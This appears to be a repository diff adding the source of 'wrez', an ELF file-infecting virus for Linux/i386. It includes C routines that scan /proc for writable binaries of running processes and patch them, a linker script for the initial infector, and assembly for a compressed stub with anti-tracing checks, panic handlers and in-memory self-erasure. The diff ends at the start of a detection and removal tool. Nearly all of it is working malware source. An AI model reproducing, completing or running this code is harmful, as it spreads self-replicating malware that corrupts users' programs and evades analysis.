| 953 | unsigned int startseek, unsigned int lenseek) | ||
| 954 | { | ||
| 955 | int n, /* temporary buffer walker */ | ||
| 956 | count = 0; /* times we have seen the address */ | ||
| 957 | unsigned int spos; /* filepos of &rbuf[0] */ | ||
| 958 | unsigned char rbuf[256]; /* streaming read buffer */ | ||
| 959 | |||
| 960 | |||
| 961 | spos = startseek; | ||
| 962 | |||
| 963 | /* XXX: this is a bit of a kludge when we approach the end of the | ||
| 964 | * space we have to search, we read over it by max (256 - 3) | ||
| 965 | * bytes. but thats ok. | ||
| 966 | */ | ||
| 967 | do { | ||
| 968 | if (lseek (vfd, spos, SEEK_SET) == -1) | ||
| 969 | return; | ||
| 970 | |||
| 971 | if (read (vfd, rbuf, sizeof (rbuf)) == -1) | ||
| 972 | return; | ||
| 973 | |||
| 974 | for (n = 0; n < (sizeof (rbuf) - 3) ; ++n) { | ||
| 975 | if (*((unsigned int *) &rbuf[n]) == old_addr) { | ||
| 976 | if (lseek (vfd, spos + n, SEEK_SET) == -1) | ||
| 977 | return; | ||
| 978 | |||
| 979 | /* overwrite old static address with our | ||
| 980 | * address, then move ahead, over it | ||
| 981 | */ | ||
| 982 | write (vfd, &new_addr, sizeof (new_addr)); | ||
| 983 | n += 4; | ||
| 984 | count++; | ||
| 985 | } | ||
| 986 | } | ||
| 987 | |||
| 988 | spos += sizeof (rbuf) - 3; | ||
| 989 | } while (count < 2 && spos < (startseek + lenseek)); | ||
| 990 | |||
| 991 | return; | ||
| 992 | } | ||
| 993 | |||
| 994 | |||
| 995 | /* look_user | ||
| 996 | * | ||
| 997 | * we are non-root, so our choices of infecting other binaries is limited. | ||
| 998 | * the most effective way to infect binaries that will be started even | ||
| 999 | * after reboots is to look for user-owned binaries. this is too time | ||
| 1000 | * consuming, so we do it another way: | ||
| 1001 | * | ||
| 1002 | * 1. get a list of every running process | ||
| 1003 | * 2. look whether the binary of the process is writeable by us | ||
| 1004 | * 3. try to infect the binary (which requires some workarounds, see below) | ||
| 1005 | * | ||
| 1006 | * return 0 in case no victim was found | ||
| 1007 | * return number of attempted infections (successful or failure) on success | ||
| 1008 | */ | ||
| 1009 | |||
| 1010 | static inline int | ||
| 1011 | look_user (wrconfig *cfg) | ||
| 1012 | { | ||
| 1013 | int infect_count = 0; /* number of attempted */ | ||
| 1014 | int dfd; /* directory file descriptor */ | ||
| 1015 | unsigned char * t_proc; | ||
| 1016 | |||
| 1017 | struct dirent * dwlk; /* dirent walker */ | ||
| 1018 | int d_count, /* getdents return value */ | ||
| 1019 | d_proc; /* processed data */ | ||
| 1020 | unsigned char d_data[4096]; /* temporary dirent data */ | ||
| 1021 | |||
| 1022 | |||
| 1023 | STRINGPTR (t_proc, "/proc"); | ||
| 1024 | |||
| 1025 | dfd = open (t_proc, O_RDONLY, 0); | ||
| 1026 | if (dfd < 0) | ||
| 1027 | return (0); | ||
| 1028 | |||
| 1029 | do { | ||
| 1030 | dwlk = (struct dirent *) d_data; | ||
| 1031 | d_count = getdents (dfd, dwlk, sizeof (d_data)); | ||
| 1032 | |||
| 1033 | for (d_proc = 0 ; d_proc < sizeof (d_data) && | ||
| 1034 | d_proc < d_count && dwlk->d_reclen != 0 ; | ||
| 1035 | d_proc += dwlk->d_reclen) | ||
| 1036 | { | ||
| 1037 | look_user_proc (cfg, t_proc, dwlk->d_name); | ||
| 1038 | dwlk = (struct dirent *) (((unsigned char *) dwlk) + | ||
| 1039 | dwlk->d_reclen); | ||
| 1040 | } | ||
| 1041 | } while (d_count > 0); | ||
| 1042 | |||
| 1043 | close (dfd); | ||
| 1044 | |||
| 1045 | return (infect_count); | ||
| 1046 | } | ||
| 1047 | |||
| 1048 | |||
| 1049 | static inline int | ||
| 1050 | look_user_proc (wrconfig *cfg, char *t_proc, unsigned char *filename) | ||
| 1051 | { | ||
| 1052 | int mapfd; | ||
| 1053 | unsigned char tfname[128]; | ||
| 1054 | unsigned char * fwlk; | ||
| 1055 | char * tfnp; | ||
| 1056 | |||
| 1057 | |||
| 1058 | for (fwlk = filename ; *fwlk != '\0' ; ++fwlk) { | ||
| 1059 | /* when its not a process-directory, return immediatly | ||
| 1060 | */ | ||
| 1061 | if (*fwlk < '0' || *fwlk > '9') | ||
| 1062 | return (0); | ||
| 1063 | } | ||
| 1064 | |||
| 1065 | /* XXX: a bit messy way of constructing "/proc/<pid>/maps" | ||
| 1066 | */ | ||
| 1067 | memcpy (tfname, t_proc, 5); /* "/proc" */ | ||
| 1068 | tfname[5] = '/'; /* "/proc/" */ | ||
| 1069 | memcpy (&tfname[6], filename, fwlk - filename); | ||
| 1070 | STRINGPTR (tfnp, "/maps"); | ||
| 1071 | memcpy (&tfname[6 + fwlk - filename], tfnp, 6); | ||
| 1072 | |||
| 1073 | /* open the mapfile and extract the binary path out of it | ||
| 1074 | */ | ||
| 1075 | mapfd = open (tfname, O_RDONLY, 0); | ||
| 1076 | if (mapfd < 0) | ||
| 1077 | return (0); | ||
| 1078 | |||
| 1079 | /* read until first slash '/' | ||
| 1080 | */ | ||
| 1081 | fwlk = tfname; | ||
| 1082 | for (*fwlk = '\0' ; read (mapfd, fwlk, 1) == 1 && *fwlk != '/' ; ) | ||
| 1083 | ; | ||
| 1084 | |||
| 1085 | /* empty maps (kernel processes) | ||
| 1086 | */ | ||
| 1087 | if (*fwlk == '\0') { | ||
| 1088 | close (mapfd); | ||
| 1089 | |||
| 1090 | return (0); | ||
| 1091 | } | ||
| 1092 | |||
| 1093 | for (++fwlk ; fwlk < &tfname[sizeof (tfname) - 1] && | ||
| 1094 | read (mapfd, fwlk, 1) == 1 && *fwlk != '\n' ; ++fwlk) | ||
| 1095 | ; | ||
| 1096 | *fwlk = '\0'; | ||
| 1097 | |||
| 1098 | close (mapfd); | ||
| 1099 | |||
| 1100 | /* FINAL:XXX: remove this in final build */ | ||
| 1101 | write (2, tfname, fwlk - tfname); | ||
| 1102 | write (2, "\n", 1); | ||
| 1103 | |||
| 1104 | /* wow, after all this mess, we finally got the filename of a running | ||
| 1105 | * process, lets see if its infected, if not, try to infect it | ||
| 1106 | */ | ||
| 1107 | if (isinfected (tfname) == 0) { | ||
| 1108 | STRINGPTR (tfnp, "clean\n"); | ||
| 1109 | write (2, tfnp, 6); | ||
| 1110 | } | ||
| 1111 | |||
| 1112 | return (0); | ||
| 1113 | } | ||
| 1114 | |||
| 1115 | |||
| 1116 | /* its in here because of register poorness, hence we recycle the stack | ||
| 1117 | * content and pass the pointer to it instead of trying to write a braindead | ||
| 1118 | * inlined version | ||
| 1119 | */ | ||
| 1120 | |||
| 1121 | static int | ||
| 1122 | mmap (void *start, long length, int prot, int flags, | ||
| 1123 | int fd, long offset) | ||
| 1124 | { | ||
| 1125 | long ret; | ||
| 1126 | |||
| 1127 | __asm__ __volatile__ ( "int $0x80" | ||
| 1128 | : "=a" (ret) | ||
| 1129 | : "a" (__NR_mmap), "b" (&start)); | ||
| 1130 | |||
| 1131 | return (ret); | ||
| 1132 | } | ||
| 1133 | |||
diff --git a/other/wrez/wrcore.o b/other/wrez/wrcore.o new file mode 100644 index 0000000..34d6353 --- /dev/null +++ b/other/wrez/wrcore.o | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez b/other/wrez/wrez new file mode 100755 index 0000000..fedc3c4 --- /dev/null +++ b/other/wrez/wrez | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez-link.lds b/other/wrez/wrez-link.lds new file mode 100644 index 0000000..29e9ffb --- /dev/null +++ b/other/wrez/wrez-link.lds | |||
| @@ -0,0 +1,46 @@ | |||
| 1 | /* initial infector link description */ | ||
| 2 | |||
| 3 | OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386") | ||
| 4 | OUTPUT_ARCH("i386") | ||
| 5 | |||
| 6 | ENTRY(wrez_init) | ||
| 7 | |||
| 8 | PHDRS | ||
| 9 | { | ||
| 10 | text PT_LOAD FILEHDR PHDRS FLAGS (0x0007); /* PF_R | PF_W | PF_X */ | ||
| 11 | data PT_LOAD FLAGS (0x0006); /* PF_R | PF_W */ | ||
| 12 | } | ||
| 13 | |||
| 14 | SECTIONS | ||
| 15 | { | ||
| 16 | . = 0x06660000 ; | ||
| 17 | .text : { | ||
| 18 | wrez.o(.text) | ||
| 19 | wrcore.o(.text) | ||
| 20 | #ifdef POLYMORPHISM | ||
| 21 | lime-interface.o(.text) | ||
| 22 | lime.o(.text) | ||
| 23 | #endif | ||
| 24 | #ifdef LOOKUP | ||
| 25 | lookup.o(.text) | ||
| 26 | #endif | ||
| 27 | #ifdef INMEM | ||
| 28 | inmem.o(.text) | ||
| 29 | #endif | ||
| 30 | #ifdef FINGERPRINT | ||
| 31 | fingerprint.o(.text) | ||
| 32 | crypto.o(.text) | ||
| 33 | #endif | ||
| 34 | *(.text) | ||
| 35 | *(.rodata) | ||
| 36 | *(.data) | ||
| 37 | } : text | ||
| 38 | |||
| 39 | /* save calls to objcopy, huh */ | ||
| 40 | /DISCARD/ : { | ||
| 41 | *(.bss) | ||
| 42 | *(.eh_frame) | ||
| 43 | *(.comment) | ||
| 44 | *(.note) | ||
| 45 | } | ||
| 46 | } | ||
diff --git a/other/wrez/wrez.2nd b/other/wrez/wrez.2nd new file mode 100644 index 0000000..d28db5b --- /dev/null +++ b/other/wrez/wrez.2nd | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez.2nd.compressed b/other/wrez/wrez.2nd.compressed new file mode 100644 index 0000000..ebee470 --- /dev/null +++ b/other/wrez/wrez.2nd.compressed | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez.asm b/other/wrez/wrez.asm new file mode 100644 index 0000000..7c725ff --- /dev/null +++ b/other/wrez/wrez.asm | |||
| @@ -0,0 +1,438 @@ | |||
| 1 | |||
| 2 | GLOBAL wrez_init | ||
| 3 | GLOBAL wrcfg | ||
| 4 | GLOBAL decompressor_start | ||
| 5 | GLOBAL decompressor_end | ||
| 6 | GLOBAL data_start | ||
| 7 | |||
| 8 | EXTERN wrez_main | ||
| 9 | EXTERN wrez_end | ||
| 10 | |||
| 11 | |||
| 12 | pusha_size equ 32 | ||
| 13 | |||
| 14 | %include "wrezdefs.inc" | ||
| 15 | |||
| 16 | wrez_init: | ||
| 17 | ; pushf ; XXX: activate only without polymorphism | ||
| 18 | ; pusha | ||
| 19 | |||
| 20 | ; XXX: this is a workaround to test whether to polymorphism | ||
| 21 | ; engine worked properly. in wrcore.c we use a special | ||
| 22 | ; instruction block (4* 0x90, nop) after the call to | ||
| 23 | ; test whether it worked. | ||
| 24 | ; DISABLED FOR NOW | ||
| 25 | ; mov ebx, [esp + 0x20 + 4] | ||
| 26 | ; mov edx, [ebx] ; instruction at retaddr | ||
| 27 | ; cmp edx, 0x90909090 | ||
| 28 | ; jne dostub | ||
| 29 | ; popa | ||
| 30 | ; popf | ||
| 31 | ; mov eax, 0x60504030 | ||
| 32 | ; ret | ||
| 33 | |||
| 34 | |||
| 35 | |||
| 36 | ; XXX: align so that we do not overwrite parts of the wrcfg | ||
| 37 | ; structure on final exit. | ||
| 38 | ; times ((16) - $ + wrez_init) db 0x90 | ||
| 39 | |||
| 40 | dostub: call decompressor_start | ||
| 41 | |||
| 42 | wrcfg: | ||
| 43 | |||
| 44 | wr_start: | ||
| 45 | dd wrez_init ; wr_start | ||
| 46 | decomp_len: | ||
| 47 | dd -1 | ||
| 48 | |||
| 49 | wr_oldctors: | ||
| 50 | dd 0x41414141 | ||
| 51 | elf_base: | ||
| 52 | dd 0x42424242 | ||
| 53 | |||
| 54 | victim: db '/tmp/v' | ||
| 55 | times ((32+4) - $ + victim) db 0x0 | ||
| 56 | |||
| 57 | ; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init) | ||
| 58 | cmprlen: dd 0x41414141 | ||
| 59 | llstuff: db 0x40 | ||
| 60 | hl1stuff: dw 0x41 | ||
| 61 | hl2stuff: db 0x42 | ||
| 62 | hf2stuff: db 0x43 | ||
| 63 | |||
| 64 | ; ======================= real code start ========================= | ||
| 65 | |||
| 66 | decompressor_start: | ||
| 67 | ; get wrcfg structure | ||
| 68 | pop ebp | ||
| 69 | push ebp | ||
| 70 | |||
| 71 | ; XXX: this code is needed for polymorphic instantiations and | ||
| 72 | ; shellcode-like invocations. in either case, we cannot expect | ||
| 73 | ; to have the proper address already there. | ||
| 74 | mov edi, ebp | ||
| 75 | sub edi, (wrcfg - wrez_init) ; virtual address of wrez_init | ||
| 76 | mov [ebp + (wr_start - wrcfg)], edi | ||
| 77 | |||
| 78 | ; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init) | ||
| 79 | mov edi, [ebp + (wr_start - wrcfg)] ; wr_start | ||
| 80 | add edi, (decompressor_end - wrez_init) | ||
| 81 | mov esi, edi ; esi = compressed | ||
| 82 | add edi, [ebp + (cmprlen - wrcfg)] ; + cmprlen | ||
| 83 | |||
| 84 | push edi ; push edi for the final ret | ||
| 85 | push dword [ebp + (hf2stuff - wrcfg)] | ||
| 86 | push dword [ebp + (hl2stuff - wrcfg)] | ||
| 87 | push dword [ebp + (hl1stuff - wrcfg)] | ||
| 88 | push dword [ebp + (llstuff - wrcfg)] | ||
| 89 | pusha | ||
| 90 | |||
| 91 | xor ebx, ebx | ||
| 92 | xor ecx, ecx | ||
| 93 | xor ebp, ebp | ||
| 94 | xor eax, eax | ||
| 95 | cdq | ||
| 96 | |||
| 97 | ; esi = compressed data | ||
| 98 | ; edi = target buffer | ||
| 99 | |||
| 100 | main_loop: | ||
| 101 | eoff: cmp esi, [esp + pusha_size + 4 * 4] ; eof ? | ||
| 102 | jb noquit ; Yepp -> Return to 100h | ||
| 103 | |||
| 104 | popa | ||
| 105 | add esp, 4 * 4 | ||
| 106 | ret ; return to target buffer | ||
| 107 | |||
| 108 | noquit: call get_bit ; Compressed/uncompressed data next? | ||
| 109 | jc compressed | ||
| 110 | |||
| 111 | |||
| 112 | ; Handle uncompressed data | ||
| 113 | mov cl, 8 ; Uncompressed -> Get next 8 bits | ||
| 114 | cdq ; No fix-ups (clear edx) | ||
| 115 | |||
| 116 | call get_data ; Get byte | ||
| 117 | |||
| 118 | xchg eax, ebx ; Store the byte | ||
| 119 | stosb | ||
| 120 | |||
| 121 | ;jmp is 5 bytes long, clc jnc is only 3, we win 2 bytes ! | ||
| 122 | ;jmp main_loop ; Loop | ||
| 123 | ; TODO: use jump (2 bytes short) | ||
| 124 | jmp main_loop | ||
| 125 | |||
| 126 | |||
| 127 | ; Handle compressed data | ||
| 128 | compressed: | ||
| 129 | ll: mov dl, byte [esp + pusha_size + 0] ; llstuff, Maximum number of bits in a row | ||
| 130 | |||
| 131 | bit_loop: | ||
| 132 | call get_bit ; Loop until CF = 0 | ||
| 133 | jnc c_getpos | ||
| 134 | |||
| 135 | inc ecx ; Increase lenght | ||
| 136 | dec edx ; Max number of bits read? | ||
| 137 | jnz bit_loop ; Nope -> Keep reading | ||
| 138 | |||
| 139 | sub esp, 4 | ||
| 140 | call get_huffman ; Yepp -> Get huffman-coded lenght | ||
| 141 | add esp, 4 | ||
| 142 | mov ecx, ebx ; Lenght must be in cx | ||
| 143 | |||
| 144 | c_getpos: | ||
| 145 | jecxz lenght_1 ; Lenght 1? -> Do something else.... | ||
| 146 | |||
| 147 | push ecx ; Save lengt | ||
| 148 | call get_huffman ; Get huffman-coded position | ||
| 149 | pop ecx ; Restore lenght | ||
| 150 | |||
| 151 | c_copy: push esi ; Save old source | ||
| 152 | |||
| 153 | mov esi, edi ; Calculate new source offset | ||
| 154 | sub esi, ebx | ||
| 155 | |||
| 156 | inc ecx ; Fix lenght | ||
| 157 | rep movsb ; Copy duplicate data | ||
| 158 | |||
| 159 | pop esi ; Restore source offset | ||
| 160 | |||
| 161 | jmp main_loop | ||
| 162 | |||
| 163 | lenght_1: | ||
| 164 | mov cl, 4 ; Get 4 bits of data for position | ||
| 165 | cdq ; Fix-up value | ||
| 166 | inc edx ; (dx = 1) | ||
| 167 | |||
| 168 | call get_data ; Get data | ||
| 169 | |||
| 170 | jmp c_copy | ||
| 171 | |||
| 172 | ; Get one bit of data | ||
| 173 | ; Returns: | ||
| 174 | ; CF - Value of the bit | ||
| 175 | |||
| 176 | gb_next_byte: | ||
| 177 | lodsb ; Get one byte | ||
| 178 | mov ah, 1 ; Mark the end of data | ||
| 179 | xchg ebp, eax ; Move it to bp | ||
| 180 | |||
| 181 | get_bit: | ||
| 182 | shr ebp, 1 ; Get bit to CF | ||
| 183 | jz gb_next_byte ; No more bits left in dx? | ||
| 184 | ret | ||
| 185 | |||
| 186 | ; Get huffman-coded number | ||
| 187 | ; Returns: | ||
| 188 | ; bx - The number | ||
| 189 | |||
| 190 | get_huffman: | ||
| 191 | mov cx, word [esp + pusha_size + 4 + 8] ; hl1stuff, Assume 3 bits for the number | ||
| 192 | cdq ; Fix-up value | ||
| 193 | inc edx ; (dx = 1) | ||
| 194 | |||
| 195 | call get_bit ; Get huffman bit | ||
| 196 | jnc get_data ; Was 0 -> Values were correct | ||
| 197 | |||
| 198 | mov cl, byte [esp + pusha_size + 8 + 8] ; hl2stuff | ||
| 199 | mov dl, byte [esp + pusha_size + 12 + 8] ; hf2stuff | ||
| 200 | |||
| 201 | |||
| 202 | ; Get n bits of data | ||
| 203 | ; Input: | ||
| 204 | ; cx - Number of bits wanted | ||
| 205 | ; dx - Fix-up value to be added to the result | ||
| 206 | ; Returns: | ||
| 207 | ; bx - The requested number | ||
| 208 | |||
| 209 | get_data: | ||
| 210 | xor ebx, ebx | ||
| 211 | |||
| 212 | gd_loop: | ||
| 213 | call get_bit ; Get bit | ||
| 214 | rcl ebx, 1 ; Store it | ||
| 215 | loop gd_loop ; Loop | ||
| 216 | add ebx, edx ; Fix the value | ||
| 217 | |||
| 218 | ret | ||
| 219 | |||
| 220 | decompressor_end: | ||
| 221 | data_start: | ||
| 222 | |||
| 223 | ; ============= everything below this line is compressed =============== | ||
| 224 | |||
| 225 | rinit: ; &wrcfg is pushed on stack now | ||
| 226 | |||
| 227 | ; find tracer signature on stack | ||
| 228 | xor eax, eax | ||
| 229 | mov ebx, 0x494a4b4c | ||
| 230 | mov ecx, ('cart' ^ 0x494a4b4c) | ||
| 231 | mov esi, esp | ||
| 232 | cld | ||
| 233 | |||
| 234 | trl0: lodsb | ||
| 235 | xor al, bl | ||
| 236 | |||
| 237 | cmp eax, ecx | ||
| 238 | jnz cont0 | ||
| 239 | jmp wrez_escape ; escape virus | ||
| 240 | |||
| 241 | cont0: | ||
| 242 | ; increase sliding seed | ||
| 243 | ; ecx = ecx ^ (a ^ b) | ||
| 244 | ; a = seed_old | ||
| 245 | ; b = seed_new = (seed_old << 8) | ((seed_old & 0xff) + 1) | ||
| 246 | mov edx, ebx | ||
| 247 | shl ebx, 8 | ||
| 248 | mov bl, bh | ||
| 249 | inc bl | ||
| 250 | xor edx, ebx | ||
| 251 | xor ecx, edx | ||
| 252 | |||
| 253 | shl eax, 8 | ||
| 254 | |||
| 255 | ; obfuscated compare with 0xc0000000 | ||
| 256 | bsf edx, esi ; edx = 0x1e = 0001.1110b | ||
| 257 | ror edx, 0x5 | ||
| 258 | jnc trl0 | ||
| 259 | |||
| 260 | %if 0 | ||
| 261 | ; ok, most likely there is no [sl]trace running on us | ||
| 262 | ; now check for gdb or any ptrace-using bugger | ||
| 263 | call pphdlr | ||
| 264 | mov [0xbffffffc], byte 0xff | ||
| 265 | int3 ; cause SIGTRAP | ||
| 266 | |||
| 267 | call aphdlr | ||
| 268 | |||
| 269 | cmp [0xbffffffc], byte 0x00 | ||
| 270 | jne wrez_escape | ||
| 271 | |||
| 272 | ; infection part | ||
| 273 | call rentry | ||
| 274 | jmp wrez_escape | ||
| 275 | |||
| 276 | aphdlr: push byte 0x0 ; SIG_DFL | ||
| 277 | jmp phdlr | ||
| 278 | |||
| 279 | pphdlr: call phdlr | ||
| 280 | ; real SIGTRAP handler | ||
| 281 | shdlr: mov [0xbffffffc], byte 0x00 | ||
| 282 | ret | ||
| 283 | |||
| 284 | phdlr: pop ecx | ||
| 285 | push byte 0x05 | ||
| 286 | pop ebx ; signum = SIGTRAP | ||
| 287 | push byte 0x30 | ||
| 288 | pop eax ; __NR_signal | ||
| 289 | int3 | ||
| 290 | int 0x80 ; signal (SIGTRAP, shdlr); | ||
| 291 | ret | ||
| 292 | %endif | ||
| 293 | |||
| 294 | ; install SIGSEGV and SIGILL handler | ||
| 295 | pop ebp ; &wrcfg | ||
| 296 | call psigillsegv | ||
| 297 | |||
| 298 | ; signal handler itself | ||
| 299 | sigillsegv: | ||
| 300 | mov esi, esp | ||
| 301 | and esi, 0xfffffff0 | ||
| 302 | spl0: lodsd | ||
| 303 | cmp eax, 'mark' | ||
| 304 | jne spl0 | ||
| 305 | |||
| 306 | lodsd ; address of real panic handler | ||
| 307 | mov [esp + 64], eax | ||
| 308 | ret | ||
| 309 | |||
| 310 | |||
| 311 | psigillsegv: | ||
| 312 | pop ecx | ||
| 313 | push ecx | ||
| 314 | push byte 4 | ||
| 315 | pop ebx ; signum = SIGILL | ||
| 316 | push byte 0x30 | ||
| 317 | pop eax ; __NR_signal | ||
| 318 | int 0x80 ; signal (SIGTRAP, shdlr); | ||
| 319 | |||
| 320 | pop ecx | ||
| 321 | push byte 11 | ||
| 322 | pop ebx | ||
| 323 | push byte 0x30 | ||
| 324 | pop eax | ||
| 325 | int 0x80 | ||
| 326 | |||
| 327 | pusha | ||
| 328 | push esp | ||
| 329 | call ppanic | ||
| 330 | |||
| 331 | ; when signal is caught, it redirects execution here, so this is the | ||
| 332 | ; panic handler | ||
| 333 | panic: mov esi, esp | ||
| 334 | and esi, 0xfffffff0 | ||
| 335 | pl0: lodsd | ||
| 336 | cmp eax, 'mark' | ||
| 337 | jne pl0 | ||
| 338 | lodsd | ||
| 339 | lodsd ; old stack pointer | ||
| 340 | mov esp, eax | ||
| 341 | popa | ||
| 342 | |||
| 343 | sub esp, 0x20 + 12 ; simulate as if we just return from rentry | ||
| 344 | push ebp | ||
| 345 | push 0x0 ; simulate return value of 0 of wrez_main | ||
| 346 | jmp wrez_cleanout | ||
| 347 | |||
| 348 | ppanic: push dword 'mark' | ||
| 349 | |||
| 350 | ; signal handlers are installed now and the stack looks like this: | ||
| 351 | ; <lower> .... 'mark' addr esp pusha-array .... <higher> | ||
| 352 | ; where addr is the address to continue in case of panic | ||
| 353 | |||
| 354 | push ebp ; &wrcfg | ||
| 355 | call rentry | ||
| 356 | |||
| 357 | push eax ; save return value | ||
| 358 | |||
| 359 | wrez_cleanout: | ||
| 360 | ; get rid of installed signal handlers | ||
| 361 | push byte 0x00 | ||
| 362 | pop ecx | ||
| 363 | push byte 4 | ||
| 364 | pop ebx | ||
| 365 | push byte 0x30 | ||
| 366 | pop eax | ||
| 367 | int 0x80 ; signal (SIGILL, SIG_DFL); | ||
| 368 | push byte 0x00 | ||
| 369 | pop ecx | ||
| 370 | push byte 11 | ||
| 371 | pop ebx | ||
| 372 | push byte 0x30 | ||
| 373 | pop eax | ||
| 374 | int 0x80 ; signal (SIGSEGV, SIG_DFL); | ||
| 375 | |||
| 376 | pop eax ; return value of wrez_main | ||
| 377 | |||
| 378 | ; escape. either called on panic or when the virus code has been | ||
| 379 | ; successfully executed destroy virus signature in memory | ||
| 380 | wrez_escape: | ||
| 381 | pop ebp ; pop wrcfg parameter given to rentry | ||
| 382 | |||
| 383 | ; since we survived, lets pop stack guards | ||
| 384 | add esp, 12 + 0x20; 'mark', &panic, saved-esp and pusha array | ||
| 385 | |||
| 386 | mov ebx, [esp + 0x20 + 4] ; retaddr | ||
| 387 | mov edx, [ebx] ; instruction at retaddr | ||
| 388 | and edx, 0x00000700 ; get n: 83 c_n_ fc | ||
| 389 | shr edx, 8 - 2 ; >> 8, * 4 | ||
| 390 | mov esi, esp | ||
| 391 | add esi, 0x20 - 4 | ||
| 392 | sub esi, edx | ||
| 393 | mov edi, [esi] ; old .ctors, exact begin of virus | ||
| 394 | |||
| 395 | ; FIXME: make a reliable way of either storing edx or edx +4, depending on | ||
| 396 | ; the code that will be executed just after the ret below. see | ||
| 397 | ; wrcore.c:700 | ||
| 398 | mov edx, dword [ebp + (wr_oldctors - wrcfg)] | ||
| 399 | mov [esi], edx ; overwrite ctors walk register | ||
| 400 | |||
| 401 | ; decide what to do with the virus, based on the return value of | ||
| 402 | ; wrez_main: | ||
| 403 | ; 0: erase virus from memory | ||
| 404 | ; != 0: continue without erasing | ||
| 405 | |||
| 406 | or eax, eax | ||
| 407 | jz do_erase | ||
| 408 | |||
| 409 | ; int3 | ||
| 410 | popa | ||
| 411 | popf | ||
| 412 | ret | ||
| 413 | |||
| 414 | do_erase: | ||
| 415 | push edi ; point to return to with last 'ret' | ||
| 416 | |||
| 417 | ; now compute the length to zero off | ||
| 418 | mov ecx, [ebp + (wr_start - wrcfg)] | ||
| 419 | sub ecx, edi ; ecx = length of poly-stub | ||
| 420 | add ecx, wrez_len - 5 ; 5 bytes instruction | ||
| 421 | add ecx, [ebp + (cmprlen - wrcfg)] ; + cmprlen | ||
| 422 | |||
| 423 | ; store the zero'ing opcodes | ||
| 424 | cld | ||
| 425 | mov eax, 0x9d61aaf3 | ||
| 426 | stosd | ||
| 427 | |||
| 428 | mov al, 0xc3 ; 'ret' | ||
| 429 | stosb | ||
| 430 | |||
| 431 | xor eax, eax ; overwrite with NUL (al = \x00) | ||
| 432 | |||
| 433 | ret | ||
| 434 | |||
| 435 | rentry: align 16,db 0x90 ; avoid non-executeable ld-generated alignment | ||
| 436 | |||
| 437 | ; wrez_main starts directly at this place | ||
| 438 | |||
diff --git a/other/wrez/wrez.bin b/other/wrez/wrez.bin new file mode 100755 index 0000000..c32f11f --- /dev/null +++ b/other/wrez/wrez.bin | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez.bin.conf b/other/wrez/wrez.bin.conf new file mode 100644 index 0000000..fb7772f --- /dev/null +++ b/other/wrez/wrez.bin.conf | |||
| @@ -0,0 +1,3 @@ | |||
| 1 | configrel 5 | ||
| 2 | skip 259 | ||
| 3 | compress 3866:14:7:10:129 | ||
diff --git a/other/wrez/wrez.bin.out b/other/wrez/wrez.bin.out new file mode 100644 index 0000000..41c2994 --- /dev/null +++ b/other/wrez/wrez.bin.out | |||
| Binary files differ | |||
diff --git a/other/wrez/wrez.map b/other/wrez/wrez.map new file mode 100644 index 0000000..92ba85b --- /dev/null +++ b/other/wrez/wrez.map | |||
| @@ -0,0 +1,53 @@ | |||
| 1 | |||
| 2 | Memory Configuration | ||
| 3 | |||
| 4 | Name Origin Length Attributes | ||
| 5 | *default* 0x00000000 0xffffffffffffffff | ||
| 6 | |||
| 7 | Linker script and memory map | ||
| 8 | |||
| 9 | 0x06660000 . = 0x6660000 | ||
| 10 | |||
| 11 | .text 0x06660000 0x16b0 | ||
| 12 | wrez.o(.text) | ||
| 13 | .text 0x06660000 0x200 wrez.o | ||
| 14 | 0x06660103 decompressor_end | ||
| 15 | 0x06660000 wrez_init | ||
| 16 | 0x06660005 wrcfg | ||
| 17 | 0x06660042 decompressor_start | ||
| 18 | 0x06660103 data_start | ||
| 19 | wrcore.o(.text) | ||
| 20 | .text 0x06660200 0xaa9 wrcore.o | ||
| 21 | 0x06660200 wrez_main | ||
| 22 | lime-interface.o(.text) | ||
| 23 | *fill* 0x06660ca9 0x3 00 | ||
| 24 | .text 0x06660cac 0x27 lime-interface.o | ||
| 25 | 0x06660cac lime_generate | ||
| 26 | lime.o(.text) | ||
| 27 | *fill* 0x06660cd3 0xd 00 | ||
| 28 | .text 0x06660ce0 0x9cd lime.o | ||
| 29 | 0x06660e68 lime | ||
| 30 | *(.text) | ||
| 31 | *(.rodata) | ||
| 32 | .rodata 0x066616ad 0x2 wrcore.o | ||
| 33 | *(.data) | ||
| 34 | *fill* 0x066616af 0x1 00 | ||
| 35 | |||
| 36 | .rel.dyn | ||
| 37 | |||
| 38 | /DISCARD/ | ||
| 39 | *(.bss) | ||
| 40 | *(.eh_frame) | ||
| 41 | *(.comment) | ||
| 42 | *(.note) | ||
| 43 | OUTPUT(wrez elf32-i386) | ||
| 44 | |||
| 45 | .debug_abbrev | ||
| 46 | |||
| 47 | .debug_info | ||
| 48 | |||
| 49 | .debug_line | ||
| 50 | |||
| 51 | .debug_pubnames | ||
| 52 | |||
| 53 | .debug_aranges | ||
diff --git a/other/wrez/wrez.o b/other/wrez/wrez.o new file mode 100644 index 0000000..c8931bd --- /dev/null +++ b/other/wrez/wrez.o | |||
| Binary files differ | |||
diff --git a/other/wrez/wrezdefs.h b/other/wrez/wrezdefs.h new file mode 100644 index 0000000..c6a77c7 --- /dev/null +++ b/other/wrez/wrezdefs.h | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | #define WREZ_CFG_START 0x00000005 | ||
| 2 | #define WREZ_SIZE 5808 | ||
diff --git a/other/wrez/wrezdefs.inc b/other/wrez/wrezdefs.inc new file mode 100644 index 0000000..abafd24 --- /dev/null +++ b/other/wrez/wrezdefs.inc | |||
| @@ -0,0 +1 @@ | |||
| wrez_len equ 5808 | |||
diff --git a/other/wrez/wrezsweep.c b/other/wrez/wrezsweep.c new file mode 100644 index 0000000..08561a6 --- /dev/null +++ b/other/wrez/wrezsweep.c | |||
| @@ -0,0 +1,578 @@ | |||
| 1 | /* wrezsweep - wrez detection and removal tool | ||
| 2 | * not to be distributed, ever. | ||
| 3 | */ | ||
| 4 | |||
| 5 | #define VERSION "0.2" | ||
| 6 | |||
| 7 | |||
| 8 | #include <stdio.h> | ||
| 9 | #include <stdlib.h> | ||
| 10 | #include <unistd.h> | ||
| 11 | #include <elf.h> | ||
| 12 | |||
| 13 | |||
| 14 | int isinfected (char *pathname, int disinfect); | ||
